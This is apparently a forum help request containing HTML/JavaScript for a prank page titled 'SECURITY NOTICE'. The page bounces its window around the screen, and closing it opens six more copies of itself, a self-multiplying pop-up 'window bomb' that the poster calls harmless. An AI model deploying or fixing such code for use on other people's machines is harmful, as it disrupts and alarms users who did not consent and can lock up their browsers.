HTML w/Java Script web page issues
This code works on a local lan, but seems to fail over the internet. It is in no way harmful - just funny.
It should display a page. When that page is closed, it should display 6 small pages that bounce about, when a small page is closed it should display 6 small pages that bounce about, ...
I can't seem to figure what is wrong. My coding skills are limited to assembly, algol and cobol. I just play with modern stuff. Help.
Code:
<html>
<head>
<meta name="robots" content="NOINDEX, NOFOLLOW">
<meta name="MSSmartTagsPreventParsing" content="TRUE">
<title>SECURITY NOTICE</title>
</head>
<script language="Javascript">
<!--
var xOff = 5;
var yOff = 5;
var xPos = 400;
var yPos = -100;
var flagRun = 1;
function openWindow(url){
aWindow = window.open(url,"_blank", 'menubar=no,status=no,toolbar=noresizable=no,width=180,height=175,titlebar=no,alwaysRaised=yes');
}
function procreate(){
openWindow('Index.htm');
openWindow('Index.htm');
openWindow('Index.htm');
openWindow('Index.htm');
openWindow('Index.htm');
openWindow('Index.htm');
}
function newXlt(){
xOff = Math.ceil( 0 - 6 * Math.random()) * 5 - 10 ;
window.focus()}
function newXrt(){
xOff = Math.ceil(7 * Math.random()) * 5 - 10 ;
}
function newYup(){
yOff = Math.ceil( 0 - 6 * Math.random()) * 5 - 10 ;
}
function newYdn(){
yOff = Math.ceil( 7 * Math.random()) * 5 - 10 ;
}
function fOff(){
flagrun = 0;
}
function playBall(){
xPos += xOff;
yPos += yOff;
if (xPos > screen.width-175){
newXlt();
}
if (xPos < 0){
newXrt();
}
if (yPos > screen.height-100){
newYup();
}
if (yPos < 0){
newYdn();
}
if (flagRun == 1){
window.moveTo(xPos,yPos);
setTimeout('playBall()',1);
}
}
//-->
</script>
<body text=#ffffff bgColor=#000000 onload="flagRun=1;playBall();return true;" onUnLoad="procreate()" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<table height="100%" width="100%">
<tbody>
<tr>
<td vAlign=center align=middle>
<blockquote>
<h3 align=middle>Authorized users only </h3>
<p> </p>
</blockquote>
<H1><font size="7" face="Wingdings">
J J</font></H1></td></tr></tbody></table>
</body>
</html>